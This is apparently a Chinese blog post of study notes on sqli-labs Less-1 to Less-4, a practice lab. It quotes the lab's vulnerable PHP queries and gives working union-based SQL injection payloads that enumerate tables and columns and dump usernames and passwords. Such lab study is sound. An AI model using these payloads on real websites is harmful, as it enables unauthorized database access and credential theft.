Sqli-labs学习1

Less-1:基于错误的get单引号字符串

Get-Error based -Single Quotes-String

  1. 首先我们输入id=2-1和id=2发现输出相同说明是字符型注入
  2. 我们首先尝试加引号闭合,但报错

image-20210820221419637.png

查看php源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此处可以看出报错''1" LIMIT 0,1' at line 1加重部分是报错内容,说明是用单引号闭合

  1. 查询字段数目

    /?id=1' order by 4--+

-- (含空格)在sql语句中起注释作用;+是空格的意思(%20也是),空格必须要有

或者输入%23表示#

此处判断4列时报错,说明只有3列

burp suite中的输入:

image-20210820223820936.png

  1. 使用联合注入判断数据显示点

    /?id=-1' union select 1,2,3 --+

为了使联合语句的后句执行,需要使第一个语句错误,输入错误的负数id,可以看到第二列对应用户名,第三列对应密码

可控注入为2,3

image-20210820224712530.png

  1. 显示数据库名,用database()和user(), 可以看到数据库名为security

扩展系统函数

  • version():Mysql版本
  • user():数据库用户名
  • database():数据库名
  • @@datadir:数据库路径
  • @@version_compile_os:操作系统版本

image-20220127145011628.png

image-20210820224916207.png

  1. 再看数据表名

concat() 将多个字段连接成一个字符串,eg:concat(a.name,b.age), concat('~',a.name,b.age)使用特定符号分隔

group_concat() 将分组中的值连接成一个字符串,默认采用逗号分隔

/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

此例中采用where筛选出所有数据库名满足的表成为一个分组,将它们的名称都连起来返回一个字符串

image-20210820230418993.png

image-20210820230530551.png

  1. 再来看字段名,获取字段名同上方法

    /?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

请输入图片描述

image-20210820230727261.png

  1. 查看用户名和密码

    /?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ 

image-20220127162210620.png

或者

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username

/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

image-20210820231509745.png

Less-2:基于错误的get整型注入

Get-Error based -Intiger based

  1. 首先我们输入id=2-1和id=2发现输出不同说明整型注入
  2. 其实后面输入和第一个一样,只不过不再输单引号把id封住了
/Less-2/id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Less-3:基于错误的get单引号变形字符型注入

Get-Error based -Single Quotes with twist-String

首先+'发现报错如下,说明需要一个单引号+后小括号来闭合语句

image-20220127162912955.png

  1. 查看源码

    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    // connectivity 
    
    
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

发现使用括号闭合

  1. 输入/?id=1)--+没有报错说明正确
  2. 按照Less-1的方法加入union联合查询
/Less-3/?id=-1') union select 1,database(),group_concat('~',username,password) from users--+ 

Less-4:基于错误的GET双引号字符型注入

Get-Error based -Double Quotes-String

同上,添加双引号时报错,同时看到有括号,故使用双引号+后括号

  1. 查看源码

    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    // connectivity 
    
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

发现使用双引号加括号闭合

  1. 输入/?id=1")--+没有报错说明正确
  2. 按照Less-1的方法加入union联合查询
/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
最后修改:2022 年 01 月 27 日
如果觉得我的文章对你有用,请随意赞赏